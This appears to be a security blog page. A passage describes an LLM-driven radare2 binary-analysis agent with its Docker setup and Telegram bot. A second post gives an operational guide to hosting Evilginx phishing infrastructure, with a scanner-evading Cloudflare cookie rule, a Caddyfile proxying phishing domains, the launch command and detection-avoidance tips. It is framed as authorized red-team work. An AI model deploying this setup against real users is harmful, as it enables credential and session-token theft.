  "$schema": "https://opencode.ai/config.json",
  "mcp": {
    "radare2": {
      "type": "local",
      "command": ["r2pm", "-r", "r2mcp"],
      "enabled": true
    }
  }
}

This tells OpenCode to start r2mcp as a local process whenever it needs to interact with radare2.

OpenCode uses markdown files as “agents” or prompts. When you run opencode run <file.md>, it reads the markdown file and uses it as instructions for the AI. The AI then follows those instructions, as the prompt specifies that r2mcp must be used and the decompiler set to Ghidra (pdg).

In AI terms, an “agent” is a system that can take actions based on instructions. The markdown file contains the instructions (what to analyze, how to analyze it, what format to output), and OpenCode provides the execution environment with access to tools. A markdown file + OpenCode + MCP tools = a simple yet functional AI agent.

OpenCode offers three free models through their “Zen” tier:

  • opencode/grok-code - Fast and good for most tasks
  • opencode/big-pickle - Another option with different characteristics
  • opencode/gpt-5-nano - Smaller but still capable
  • opencode/glm-4.7-free - The new version of GML

You can switch between them using the -m flag:

opencode -m opencode/grok-code run my_agent.md
opencode -m opencode/big-pickle run my_agent.md
opencode -m opencode/gpt-5-nano run my_agent.md
opencode -m opencode/glm-4.7-free run my_agent.md

I’ve been using opencode/grok-code as my default, and it works pretty well for reverse engineering tasks (imho).

Prompting the agents

Creating good prompts is harder than it looks! I started by explaining what I needed to GPT-5.2 (using voice input for brainstorming). I wanted an AI agent that could analyze binaries for security issues, decompile functions, and produce structured reports.

GPT gave me a first draft, which I tested. It worked, but I noticed some issues: the agent wasn’t always following the right workflow, it sometimes missed important security checks, and the output format wasn’t consistent.

I took that first prompt, added notes about what I wanted to fix, and asked Claude Sonnet 4.5 to redesign it with more context. I explained the radare2 workflow better, added more specific instructions about security analysis, and clarified the expected output format.

The result: two agent prompts that work reasonably well:

These prompts are not perfect, but they’re good enough for a proof of concept, and they’re easy to improve. The markdown format makes it simple to iterate, edit the file, test it, see what breaks, and fix it. You don’t need to be a prompt engineering expert to get started. You can use AI to help you create better prompts, test them, and refine them over time.

My workflow was basically: explain → generate → test → identify issues → explain issues → regenerate → test again. Repeat until it works well enough for your needs.

Quick Disclaimer about prompting

Keep in mind that prompts don’t always work the same way across all LLMs, especially when switching to local LLMs. I’m not covering that here. This PoC works on some binaries, not magic. Definitely not the Sauron’s Prompt.

“One prompt to rule them all, one prompt to find them, one prompt to bring them all, and in the darkness bind them.”

Demo

Once everything is set up, using the tool is pretty easy. I created a bash script run_r2agent.sh that handles the Docker container setup and execution. Here’s how you use it:

# Docker mode (recommended)
./run_r2agent.sh --mode docker --file /path/to/binary --agent agents/analyze.task.md

# Local mode (requires local radare2 + OpenCode installation)
./run_r2agent.sh --mode local --file /path/to/binary --agent agents/crackme.task.md

The script creates a unique job directory under analysis/ with a timestamp, copies your binary there as input.bin, runs the Docker container, and collects all the outputs. When it’s done, you’ll find:

  • Report.md - The analysis report
  • opencode.log - Full log of the OpenCode execution
  • docker.log - Docker container logs
  • meta.json - Job metadata (binary name, size, timestamp, etc.)
  • FINISHED_<seconds> - A file indicating completion time

The script also maintains a global reports.md index file that lists all your analysis jobs, which is useful when you’ve run many analyses.

A typical run:

$ ./run_r2agent.sh ./test_binary
[+] Job id:  job_20251215_143348_DL3wdZ
[+] Job dir: /path/to/r2agent/analysis/job_20251215_143348_DL3wdZ
[+] Copied input.bin: .../input.bin (13880 bytes)
[+] Launching container...
[+] Running OpenCode, logging to opencode.log ...
...
[+] Report:  .../Report.md
[+] OpenCode: .../opencode.log
[+] Docker:   .../docker.log

The analysis usually takes a few minutes depending on the binary size and complexity. The agent will decompile functions, analyze security features, check for vulnerabilities, and produce a comprehensive markdown report.

Dockering this s***

To make this reproducible and avoid dependency issues, I dockerized everything. The Dockerfile is based on Ubuntu 24.04 and installs all the tools we need.

The Dockerfile does the following:

  1. Installs build dependencies (gcc, make, git, cmake, etc.)
  2. Clones and compiles radare2 from source
  3. Creates a non-root user op for security
  4. Installs r2pm plugins (r2mcp, r2ghidra, decai, r2ghidra-sleigh)
  5. Installs OpenCode CLI
  6. Copies the OpenCode config and a default agent prompt
  7. Sets up the entrypoint script

Here’s the Dockerfile:

FROM ubuntu:24.04

ARG DEBIAN_FRONTEND=noninteractive

RUN apt-get update && apt-get install -y --no-install-recommends \
    gcc make git wget curl ca-certificates sudo build-essential python3 python3-pip pkg-config meson ninja-build cmake file binutils xz-utils unzip zlib1g-dev \
  && rm -rf /var/lib/apt/lists/*

WORKDIR /opt
RUN git clone --depth 1 https://github.com/radareorg/radare2 \
  && cd radare2 \
  && chmod +x sys/install.sh \
  && sys/install.sh

RUN useradd -m -s /bin/bash op \
  && mkdir -p /workspace \
  && chown -R op:op /workspace

RUN mkdir -p /home/op/.local/share/opencode \
  && chown -R op:op /home/op/.local

ENV HOME="/home/op"
ENV PATH="/home/op/.opencode/bin:/home/op/.local/bin:/usr/local/bin:${PATH}"

WORKDIR /workspace
VOLUME ["/workspace"]

USER op

RUN r2pm -U
RUN r2pm -ci r2mcp r2ghidra r2ghidra-sleigh

RUN curl -fsSL https://opencode.ai/install | bash

RUN mkdir -p /home/op/.config/opencode
COPY --chown=op:op docker/opencode.json /home/op/.config/opencode/opencode.json

COPY --chown=op:op agents/analyze.task.md /opt/prompt_agent.md

USER root
COPY docker/run_analysis.sh /usr/local/bin/run_analysis.sh
RUN chmod +x /usr/local/bin/run_analysis.sh \
  && chown op:op /usr/local/bin/run_analysis.sh

USER op
ENTRYPOINT ["/usr/local/bin/run_analysis.sh"]

The entrypoint script run_analysis.sh handles the actual execution inside the container. It sets up compatibility symlinks (OpenCode sometimes writes to relative paths), checks for input.bin in /workspace (which is mounted from the host), copies a default agent prompt if none is provided, runs OpenCode with the agent prompt, and handles logging and error cases.

The script:

#!/usr/bin/env bash
# Runner for the r2agent container.
# - Uses /workspace as the shared directory (mount from host).
# - Ensures an analyze.task.md exists in /workspace (copies template if missing).
# - Requires /workspace/input.bin
# - Runs OpenCode and writes /workspace/report.md and /workspace/opencode.log
#
# Parameter passing mechanism:
# - Agent prompt: Received via mounted file at /workspace/prompt_agent.md
#   The host script (run_r2agent.sh) copies the agent file into the job directory
#   before mounting it as /workspace. If no agent is provided, a template is copied from
#   /opt/prompt_agent.md (see lines 32-35).
# - LLM model: Received via environment variable OPENCODE_MODEL
#   The host script sets this variable when launching the Docker container (e.g.,
#   docker run -e OPENCODE_MODEL="opencode/grok-code" ...). Defaults to "opencode/grok-code"
#   if not set (see line 61).

set -euo pipefail

WORKDIR="/workspace"
TEMPLATE_TASK="/opt/prompt_agent.md"
TASK_FILE="${WORKDIR}/prompt_agent.md"
BIN_FILE="${WORKDIR}/input.bin"
REPORT_FILE="${WORKDIR}/Report.md"
LOG_FILE="${WORKDIR}/opencode.log"

cd "${WORKDIR}"

# Create workspace directory (needed for compatibility)
# Some OpenCode runs may try to write a relative path like "workspace/report.md"
# (missing the leading slash). Since we run from /workspace, that becomes
# "/workspace/workspace/report.md". We'll handle symlinks after checking where
# the report was actually created.
#
# Important: /workspace is a host-mounted directory. Avoid creating absolute symlinks
# like "workspace -> /workspace" because they become broken on the host and can
# break post-processing (e.g., zipping job artifacts).
mkdir -p "${WORKDIR}/workspace"

if [[ ! -f "${TASK_FILE}" ]]; then
  echo "[i] No prompt_agent.md found in ${WORKDIR}, copying template..."
  cp "${TEMPLATE_TASK}" "${TASK_FILE}"
fi

if [[ ! -f "${BIN_FILE}" ]]; then
  echo "[!] No input.bin found in ${WORKDIR}."
  echo "    Put your binary at: ${BIN_FILE}"
  echo "    Task file is at:    ${TASK_FILE}"
  exec bash
fi

echo "[+] input.bin detected, starting analysis..."
echo "[i] OpenCode config: /home/op/.config/opencode/opencode.json"

# Ensure OpenCode is in PATH even in non-interactive shells
export PATH="/home/op/.opencode/bin:/home/op/.local/bin:/usr/local/bin:${PATH}"

# Best-effort preflight checks
command -v r2 >/dev/null 2>&1 && r2 -v || true
command -v r2pm >/dev/null 2>&1 && r2pm -v || true
command -v opencode >/dev/null 2>&1 && opencode --version || true

TASK_CONTENT="$(cat "${TASK_FILE}")"

rm -f "${REPORT_FILE}" "${LOG_FILE}"

echo "[+] Running OpenCode, logging to ${LOG_FILE} ..."

# LLM model selection: Read from OPENCODE_MODEL environment variable (set by host script).
# This allows the caller (run_r2agent.sh or bot) to specify which OpenCode model
# to use for analysis. Defaults to "opencode/grok-code" if not provided.
OPENCODE_MODEL="${OPENCODE_MODEL:-opencode/grok-code}"
echo "[i] OpenCode model: ${OPENCODE_MODEL}"

set +e
# Some OpenCode versions may buffer or suppress streaming output when stdout is not a TTY.
# When the container is launched from scripts (docker stdout is piped), that can make
# /workspace/opencode.log appear empty until the run finishes.
#
# Workaround: run under a pseudo-TTY (util-linux `script`) and write the session to LOG_FILE.
# Keep a fallback to the simple pipe if `script` is not available.
if command -v script >/dev/null 2>&1; then
  # Use Python to pass the prompt content as a single argv element (no shell-quoting edge cases),
  # while `script` provides a PTY to encourage streaming output.
  script -q -e -c "python3 -c 'import os,pathlib,subprocess; model=os.environ.get(\"OPENCODE_MODEL\",\"opencode/grok-code\"); subprocess.run([\"opencode\",\"-m\",model,\"run\",pathlib.Path(\"${TASK_FILE}\").read_text(encoding=\"utf-8\")])'" "${LOG_FILE}"
  OC_RC=$?
else
  # Fallback: best-effort line-buffering + tee
  if command -v stdbuf >/dev/null 2>&1; then
    stdbuf -oL -eL opencode -m "${OPENCODE_MODEL}" run "${TASK_CONTENT}" 2>&1 | tee "${LOG_FILE}"
  else
    opencode -m "${OPENCODE_MODEL}" run "${TASK_CONTENT}" 2>&1 | tee "${LOG_FILE}"
  fi
  OC_RC=${PIPESTATUS[0]}
fi
set -e

if [[ ${OC_RC} -ne 0 ]]; then
  echo "[!] OpenCode returned non-zero exit code: ${OC_RC}"
  echo "    See: ${LOG_FILE}"
fi

# Compatibility shim: create symlinks AFTER checking where report was created
# Some OpenCode runs may write to workspace/report.md (relative path)
ALT_REPORT_1="${WORKDIR}/workspace/report.md"
ALT_REPORT_2="${WORKDIR}/report.md"

if [[ -f "${REPORT_FILE}" ]]; then
  # Report.md exists in expected location, create symlinks for compatibility
  ln -sf ../Report.md "${ALT_REPORT_1}" 2>/dev/null || true
  ln -sf "${REPORT_FILE##*/}" "${ALT_REPORT_2}" 2>/dev/null || true
elif [[ -f "${ALT_REPORT_1}" ]]; then
  # OpenCode wrote to workspace/report.md, copy to Report.md and create symlink
  echo "[i] Found report at ${ALT_REPORT_1}, copying to ${REPORT_FILE}"
  cp -f "${ALT_REPORT_1}" "${REPORT_FILE}"
  ln -sf "${REPORT_FILE##*/}" "${ALT_REPORT_2}" 2>/dev/null || true
elif [[ -f "${ALT_REPORT_2}" ]]; then
  # OpenCode wrote to report.md, copy to Report.md and create symlink
  echo "[i] Found report at ${ALT_REPORT_2}, copying to ${REPORT_FILE}"
  cp -f "${ALT_REPORT_2}" "${REPORT_FILE}"
  ln -sf ../Report.md "${ALT_REPORT_1}" 2>/dev/null || true
else
  echo "[!] report.md was not created at ${REPORT_FILE}"
  echo "    See: ${LOG_FILE}"
  exit 2
fi

echo "[+] Done. Report written to ${REPORT_FILE}"
echo "[+] Log written to ${LOG_FILE}"
exit ${OC_RC}

The script handles a few edge cases, like creating symlinks for compatibility (OpenCode sometimes writes to relative paths), checking if the binary exists, and falling back to different report locations if needed. It also uses the script command to ensure proper logging when running in non-interactive environments.

The Telegram Bot

I continued to burn tokens. I built a Telegram bot that lets you send binaries directly via chat, and it runs the analysis and sends back the report. It’s still pretty basic, but it works!

The bot:

  • Accepts binary files as Telegram documents
  • Downloads them to a local directory
  • Queues them for analysis using the same run_r2agent.sh script
  • Sends back the Report.md when finished
  • Tracks jobs in a SQLite database
  • Supports multiple agent prompts (you can switch between analyze.task.md and crackme.task.md)
  • Lets you choose between the free OpenCode models

I also created a watchdog script (watchdog.sh) specifically for the bot. Sometimes Docker containers can hang or get stuck, especially when dealing with complex binaries or network issues. The watchdog monitors all running analysis containers and automatically kills any that have been running longer than 15 minutes (configurable). It logs everything to analysis/_watchdog_logs/. You can run it manually with ./scripts/watchdog.sh --once or set it up as a cron job to run periodically.

Security and restrictions: The bot uses an allowlist system where only specific Telegram user IDs can interact with it. Why? First, 99% of the code is vibecoded. And I’m not a professional developer, so there are probably bugs lurking in there somewhere. More importantly, I don’t want my laptop to become someone else’s free cloud computing service. The bot runs on my local server, and I’d rather not have random people on the internet sending me binaries to analyze 24/7, my CPU stays mine!

Setup:

  1. Create a bot with @BotFather on Telegram
  2. Get your bot token
  3. Add your Telegram user ID to allowlist.json
  4. Configure bot/config.json with your token
  5. Run python app.py from the repo root

The bot stores job metadata in SQLite, so you can query your analysis history. It also keeps all the job outputs in the same analysis/ directory structure, so everything stays organized.

The following screenshots show the bot’s features:

  • Executing /start displays the menu with available options: Menu

  • The Select Agent option lists the currently available agents (prompts): Agents

  • The Select Model option shows the free OpenCode models available at the time of writing: Model

  • Job Status provides the results of your analysis: Jobs

  • Download Agents allows you to download the agents’ (prompts’) MD file: Agent Download

Once the analysis completes, the bot attaches the results in Markdown or an error message if an issue occurs: Final Result

Working With Evilginx on premises

TL;DR:

For red-team / phishing exercises where client trust and OPSEC matter, keep captured client data and primary infrastructure on the customer’s own servers (on-prem). Use cloud assets only for thin redirectors/fronts (Cloudflare, Workers, CDNs). Below: Cloudflare → Caddy (edge reverse proxy, internal TLS) → Evilginx (on-prem inside a Tailnet). Cloudflare firewall rule, Caddyfile, Evilginx command and hardening checklist included.

Why keep client data on the client’s servers (and cloud only for redirectors)

  • Data ownership & legal footprint. Storing captured credentials/session tokens on client-owned infrastructure avoids moving sensitive material into third-party cloud accounts, reducing legal risk and evidence sprawl.
  • Containment & auditability. If logs / captures remain inside the client environment, it’s easier to scope, audit, and destroy them after the exercise.
  • Operational security. Cloud fronting (redirectors) can be churned, scaled, and automated while the sensitive back-end is isolated on a private network (VPN / Tailscale / Headscale).

High-level architecture (what I run)

  1. Cloudflare (public front / redirectors): DNS + WAF + Redirection rules. Handles TLS to the public and performs cookie checks / redirects so only valid flows reach the phishing surface. Cloud assets are intentionally thin — nothing sensitive is stored there.
  2. Caddy on an edge server (client-owned): Terminates TLS with internal/self-signed certs, removes cloud IOCs, and reverse proxies traffic into the private Tailnet. Caddy logs to local files for traceability.
  3. Tailnet (Headscale/Tailscale): Private network connecting the Caddy host and the internal evilginx host; avoids exposing evilginx IPs to the public internet.
  4. Evilginx (on-prem): Runs inside the tailnet, receives proxied connections on 443, and performs the AiTM/credential capture. Captured data is stored only on the client servers and is accessible only from inside the tailnet.

I gate access to the phishing portal by setting a cookie on a benign landing domain. If the cookie is missing, Cloudflare redirects the request away from the portal, this reduces bot hits and automated scanning.

Redirection Rule in Cloudflare:

(http.host eq "portal.iamphishy.com")
and (not http.cookie contains "danito=fd6972f3079dbadb191619fe90a40af6")
and not (http.host eq "landing.iamphishy.com" and http.request.uri.path eq "/favicon.ico")

Explanation

  • If the host is portal.iamphishy.com and the specific cookie is not present → trigger the redirect action.
  • We exempt the landing domain’s favicon so asset requests won’t trigger the redirect loop.
  • Using cookies for gating reduces automated scanners and lets only flows that reached the benign landing continue.

The Caddyfile

# Redirect direct IP access to a harmless site (security measure)
1.2.3.4 {
	redir https://not-harmful.com{uri} permanent
}

landing.iamphishy.com {
	log {
		output file /var/log/caddy/landing_access.log
		format console
	}
	tls internal
	encode gzip
	# Apache/nginx in localhost
	reverse_proxy http://127.0.0.1:8000
}

portal.iamphishy.com {
	log {
		output file /var/log/caddy/portal_access.log
		format console
	}
	tls internal
	encode gzip
	reverse_proxy https://evilginx:443 {
		transport http {
			versions 1.1
			tls_insecure_skip_verify
			tls_server_name portal.iamphishy.com
		}
		header_up Host portal.iamphishy.com
		header_up X-Forwarded-Proto https
	}
}

cdn.iamphishy.com {
	log {
		output file /var/log/caddy/cdn_access.log
		format console
	}
	tls internal
	encode gzip
	reverse_proxy https://evilginx:443 {
		transport http {
			versions 1.1
			tls_insecure_skip_verify
			tls_server_name cdn.iamphishy.com
		}
		header_up Host cdn.iamphishy.com
		header_up X-Forwarded-Proto https
	}
}

login.iamphishy.com {
	log {
		output file /var/log/caddy/login_access.log
		format console
	}
	tls internal
	encode gzip
	reverse_proxy https://evilginx:443 {
		transport http {
			versions 1.1
			tls_insecure_skip_verify
			tls_server_name login.iamphishy.com
		}
		header_up Host login.iamphishy.com
		header_up X-Forwarded-Proto https
	}
}

Notes on this file

  • IP-based redirection: The 1.2.3.4 block redirects direct IP access to not-harmful.com. This prevents scanners and bots from fingerprinting your infrastructure when they access your server’s IP directly instead of using domain names. Replace 1.2.3.4 with your actual server’s IP address.
  • tls internal uses Caddy’s internal CA (keeps certs off public Let’s Encrypt chain and reduces external IOCs).
  • tls_insecure_skip_verify is used because the backend (evilginx) runs with self-signed certs inside the tailnet — acceptable if the transport is private and access is controlled.
  • Per-vhost logging gives traceability and helps post-exercise cleanup.

How I run Evilginx (exact command)

Run Evilginx on the internal node like this:

./evilginx2 -p ./phishlets -t ./redirectors -developer -debug
  • -p ./phishlets → phishlets directory
  • -t ./redirectors → redirectors directory (your redirector scripts)
  • -developer -debug → developer/debug flags useful during build/testing (reduce verbosity for production).

Important: Evilginx must be reachable only from inside the tailnet; do not publish its IP to public DNS.

Practical hardening & OPSEC checklist

  1. Never expose evilginx IPs in public DNS. Use private networking (Tailscale/Headscale) or internal hostnames so public scans don’t fingerprint your infrastructure.
  2. Keep sensitive data on client servers only. Redirectors must not store or log captured credentials. Only the on-prem evilginx host stores captures.
  3. Harden redirectors: rotate domains, use short TTLs, and deploy multiple ephemeral redirectors (Cloudflare Workers are useful for ephemeral logic).
  4. WAF / firewall rules for gating: use cookie checks, IP allowlists, or UA validation to reduce bot/scan noise before traffic reaches your landing.
  5. Log separation & retention: keep access logs on Caddy and capture logs on the evilginx host. Define and document retention & secure deletion procedures before the engagement.
  6. Avoid fingerprints: don’t use predictable subdomain patterns, identical TLS fingerprints across many domains, or public cert chains that create IOCs.

Why this pattern works (short)

  • Cloud fronting gives resilience, automation and a human-facing surface that’s easy to change.
  • Caddy + internal TLS acts as an OPSEC buffer and central logging point owned by the client.
  • Tailnet isolates the capture server and prevents public fingerprinting of the backend.

This split (public redirector / private capture) is standard in professional red-team designs.

Next posts (planned)

In follow-ups I will publish:

  • Redirector code examples (Cloudflare Worker / lightweight redirector snippets).
  • The .htaccess tweaks and anti-bot measures used on landing.iamphishy.com.

This post explains the operational design of running Evilginx on-premises, it is not a full step-by-step Evilginx setup.

← Newer Page 1 of 6